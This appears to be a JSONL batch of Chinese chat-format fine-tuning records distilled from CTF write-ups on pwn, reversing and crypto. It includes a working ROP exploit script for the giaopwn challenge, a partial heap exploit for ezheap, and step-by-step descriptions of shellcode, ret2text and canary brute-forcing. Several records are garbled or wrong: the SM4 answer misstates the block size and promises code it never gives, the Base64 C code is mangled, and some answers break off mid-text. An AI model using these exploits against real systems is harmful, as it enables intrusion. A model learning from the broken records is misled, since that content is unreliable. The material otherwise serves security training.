{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-62e22ba20a86fd60464c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法逻辑”？请用《SM4 算法》中的内容回答。", "role": "user"}, {"content": "1. SM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。\n2. SM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。\n3. SM4 加密实现\n4. 首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。\n5. 下面是使用 OpenSSL 库进行 SM4 加密的代码：\n6. 确保你安装了 OpenSSL。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::test::distilled_training_data::test::14e1bc6870fab17d", "original_line": 34, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法逻辑", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "14e1bc6870fab17d", "source_split": "test", "split": "train", "split_group_key": "96bba519b2c7bd8cbab46665", "tags": ["crypto"], "title": "SM4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-62e3e59d5fc96eb72011", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“notthesame3dsctf2016”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 程序为32位静态编译，没有栈溢出和pie保护\n2. 程序中存在危险函数gets，并且text段存在mprotect函数\n3. 我们可以通过执行mprotect函数修改内存权限\n4. 再通过read函数将shellcode读入内存\n5. 之后通过栈溢出返回地址执行shellcode", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::40724e3243c21900", "original_line": 1030, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "notthesame3dsctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "40724e3243c21900", "source_split": "train", "split": "train", "split_group_key": "963fd9de256b5c740cf83489", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-635d9cfe5f81a0fb65cb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ezheap”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ezheap\n关键词：add、sendlineafter、str、0x500、menu、delete、libcbase、libc、def、idx\n蒸馏要点：\n- libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字\n- 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的\n- 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell\n可用于训练的标准回答：\n### ezheap\n\n- libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字\n\n- 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的\n\n- 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell\n\n```python\nfrom pwn import *\n\nio = process(\"./pwn\")\nelf = ELF(\"./pwn\")\nlibc=elf.libc\n\nmenu=\"Input your choice\"\ndef add(size,cont):\n    io.sendlineafter(menu,str(1))\n    io.sendlineafter(\"Size :\",str(size))\n    io.sendafter(\"Content :\",cont)\n\ndef delete(idx):\n    io.sendlineafter(menu,str(2))\n    io.sendlineafter(\"Index :\",str(idx))\n\ndef edit(addr):\n    io.sendlineafter(menu,str(3))\n    io.sendafter(\"content :\",addr)\n\ndef show(idx):\n    io.sendlineafter(menu,str(4))\n    io.sendlineafter(\"Index :\",str(idx))\n\nadd(0x500,b'a')\nadd(0x500,b'/bin/sh\\x00')\nadd(0x500,b'a')\nadd(0x500,b'a')\nadd(0x100,b'a...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::f8a4aaed8c7c3a4b", "original_line": 48, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ezheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "f8a4aaed8c7c3a4b", "source_split": "test", "split": "train", "split_group_key": "4dc58dc12812247dbcb90ca9", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6379bc04806221547f50", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“giaopwn”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / giaopwn\n关键词：system、buf、pop_rdi、ret、vuln、read、rbp、rdi、p64、cat flag\n蒸馏要点：\n- 64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。\n- 通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。\n- 加的`ret`指令是为了栈平衡。\n可用于训练的标准回答：\n### giaopwn\n\n64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。\n\n通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。\n\n加的`ret`指令是为了栈平衡。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\npop_rdi=0x0000000000400743\nret=0x00000000004004fe\nsystem=0x4006D2\ncat_flag=0x601048\npayload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::914e3438e826fd2d", "original_line": 839, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "giaopwn", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "914e3438e826fd2d", "source_split": "train", "split": "train", "split_group_key": "c31bc7fafc55ce8064f06bea", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-63c3268643fda705e11c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“ProcessHeap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“ProcessHeap”。\n语言/类型：cpp\n关联知识点：\n- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。\n代码片段：\n```cpp\n#include\n#include\n\nBOOL IsHeapDebugged() {\n    HANDLE hHeap = GetProcessHeap();\n    if (!hHeap) {\n        return FALSE;\n    }\n\n    ULONG Flags = *(ULONG*)((BYTE*)hHeap + 0x40);      // Flags 偏移量可能因系统版本变化\n    ULONG ForceFlags = *(ULONG*)((BYTE*)hHeap + 0x44); // ForceFlags 偏移量\n\n    if (Flags != 0x2 || ForceFlags != 0) {\n        return TRUE;\n    }\n    return FALSE;\n}\n\nint main() {\n    if (IsHeapDebugged()) {\n        printf(\"debugger\\n\");\n    } else {\n        printf(\"no debugger\\n\");\n    }\n\n    system(\"pause\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0aa00ee0d59fa8b1", "original_line": 993, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ProcessHeap", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0aa00ee0d59fa8b1", "source_split": "train", "split": "train", "split_group_key": "a44d1c2fda6e0192e2242522", "tags": ["pwn", "reverse", "ctf-method"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-64b30df3eb17b75804c3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“giaopwn”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。\n2. 通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。\n3. 加的`ret`指令是为了栈平衡。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::39861797ae86efc1", "original_line": 826, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "giaopwn", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "39861797ae86efc1", "source_split": "train", "split": "train", "split_group_key": "3fb50bb41dbe841f730de94b", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6500c89a5df558d172b3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019ne5”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019ne5”。\n关联知识点：\n- 发现程序为32位程序，没有`canary`和`pie`保护。\n- 由于程序将一个长字符串复制到一个短的字符数组中，所以产生了栈溢出\n- 并且程序中存在`system`函数和`sh`字符串\n- 可以通过ret2text进行利用\n代码片段：\n```\nArch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::199367e6250eba71", "original_line": 892, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019ne5", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "199367e6250eba71", "source_split": "train", "split": "train", "split_group_key": "619e1cd5820b2133a12be167", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6550c8ae2245e68cde8e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Base64》的“代码实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Base64 / 代码实现\n关键词：current、base64、unsigned、table、data、const、length、break、encode、ABCDEFGHIJKLMNOPQRSTUVWXYZ\n可用于训练的标准回答：\n### 代码实现\n\n```c\n//定义一个常量指针指向一个常量字符串\nconst char * const table=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\n//data是用于指向需要编码的常量数据的指针\n//base64指针指向一块内存用于存储编码后的basse64字符串\n//length是输入数据的长度\nchar * encode( const unsigned char * data, char * base64, int length )\n{\n    //用于遍历输入数据和base64字符\n    int i, j;\n\n//用于存储当前处理的字符\n    unsigned char current;\n\n//循环遍历输入数据，每次处理3个字节\n    for ( i = 0, j = 0 ; i > 2) ;\n\n//与0x3f进行按位与操作，取字节前6位\n\t\t//0x3f=00111111\n        current &= (unsigned char)0x3F;\n\n//使用编码表数组将结果映射为base64字符，并将结果存储在输出指针中\n        base64[j++] = table[(int)current];\n\n//将第一个字节左移4位，与0x30按位与，取其后2位\n\t    //0x30=00110000\n        current = ( (unsigned char)(data[i] = length )\n        {\n            base64[j++] = table[(int)current];\n            base64[j++] = '=';\n            base64[j++] = '=';\n            break;\n        }\n\n//第二个字节右移4位，取其前4位，与之前第一个字节后两位合并\n        //00110000\n        //或\n        /...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0ad518d3fee21832", "original_line": 916, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "代码实现", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0ad518d3fee21832", "source_split": "train", "split": "train", "split_group_key": "3fa9c99a5316da252e7b58fc", "tags": ["crypto"], "title": "Base64", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6601224b3f16a506ba4d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《UPX 脱壳详解》中“UPX工具脱壳”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《UPX 脱壳详解》的“UPX工具脱壳”。\n语言/类型：shell\n关联知识点：\n- 直接使用 UPX 脱壳工具进行脱壳\n- 例题：[SWPUCTF 2023 秋季新生赛]UPX\n- exeinfo 查看发现有 UPX 壳。\n- 直接使用`upx -d`命令进行脱壳。\n- 可以看到脱壳成功。\n代码片段：\n```shell\n#exe文件\nupx -d demo.exe\n#elf文件\nupx -d demo\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7a59527baa896443", "original_line": 929, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "UPX工具脱壳", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7a59527baa896443", "source_split": "train", "split": "train", "split_group_key": "5c807ad79ad2eda806c9f54c", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-66bf1cc39398066e0843", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“乘法逆元”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / 乘法逆元（第 1 段）\n关键词：mod、times、equiv、pmod、通过扩展欧几里得算法\n蒸馏要点：\n- 乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。\n- 在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：\n- a×a−1≡1(mod\\ p)a \\times a^{-1} \\equiv 1 \\pmod{p}a×a−1≡1(mod\\ p)\n- 其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。\n- 如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。\n- 在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：\n- $a×a^{(-1)}=1$\n可用于训练的标准回答：\n### 乘法逆元\n\n乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。\n\n在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：\n$$\na×a−1≡1(mod\\ p)a \\times a^{-1} \\equiv 1 \\pmod{p}a×a−1≡1(mod\\ p)\n$$\n其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。\n\n如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。\n\n在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：\n\n$a×a^{(-1)}=1$\n\n换句话说，$a$乘以它的乘法逆元等于 1 。\n\n以有限域$GF(p)$为例，其中$p$是素数。在这样的有限域中，对于任意非零元素$a$，它的乘法逆元可以通过求解下面的方程来得到：\n\n$a×a^{(-1)}=1(mod\\ p)$\n\n这里的$mod\\ p$表示对$p$取模。求解这个方程，就能找到$a$的乘法逆元$a^{(-1)}$。\n\n- 例：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::b360ab66ca286642", "original_line": 33, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "b360ab66ca286642", "source_split": "test", "split": "train", "split_group_key": "ef5b4c5983545556dc59cf1d", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-67513b72b17765c491eb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“ezheap”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字\n2. 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的\n3. 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b6cc363bee046a09", "original_line": 897, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "ezheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b6cc363bee046a09", "source_split": "train", "split": "train", "split_group_key": "9317592202ea827a0da92a58", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-68a7ef04b92ca9cd24f4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《VM 指令虚拟化》中“解释器编写”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《VM 指令虚拟化》的“解释器编写”。\n语言/类型：c\n关联知识点：\n- 现在就可以实现每条指令的 handle 以及 dispatcher 了：\n代码片段：\n```c\nint vm_run(VM* vm){\n\tchar opcode;\n\tchar operand_1,operand_2;\n\n\twhile(1){\n\t\topcode=vm->code[vm->eip];\n\t\tswitch(opcode){\n\t\tcase 0x10:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\tvm->r1=operand_1;\n\t\t\tvm->eip+=2;\n\t\t\tbreak;\n\t\tcase 0x11:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\tvm->r2=operand_1;\n\t\t\tvm->eip+=2;\n\t\t\tbreak;\n\t\tcase 0x20:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\toperand_2=vm->code[vm->eip+2];\n\t\t\tvm->mem[operand_1]=operand_2;\n\t\t\tvm->eip+=3;\n\t\t\tbreak;\n\t\tcase 0x30:\n\t\t\tvm->mem[vm->r1]^=vm-r2;\n\t\t\tvm->eip+=1;\n\t\t\tbreak;\n\t\tcase 0x40:\n\t\t\tscanf(\"5%s\",&vm->mem[0]);\n\t\t\tvm->eip+=1;\n\t\t\tbreak;\n\t\tcase 0x50:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\toperand_2=vm->code[vm->eip+2];\n\t\t\treturn memcmp(&vm->mem[0],&vm->mem[operand_1],operand_2);\n\t\t}\n\t}\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::dd7d064d4b0e98b0", "original_line": 971, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "解释器编写", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "dd7d064d4b0e98b0", "source_split": "train", "split": "train", "split_group_key": "c9140c0df0e1716d0a035b34", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6a61c6180d1be01d0452", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“爆破canary”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。\n2. 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。\n3. 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。\n4. 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。\n5. 爆破canary的通用模板：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::023d723625d6d768", "original_line": 651, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "爆破canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "023d723625d6d768", "source_split": "train", "split": "train", "split_group_key": "bd50bfa7f01a5f63cc810f83", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
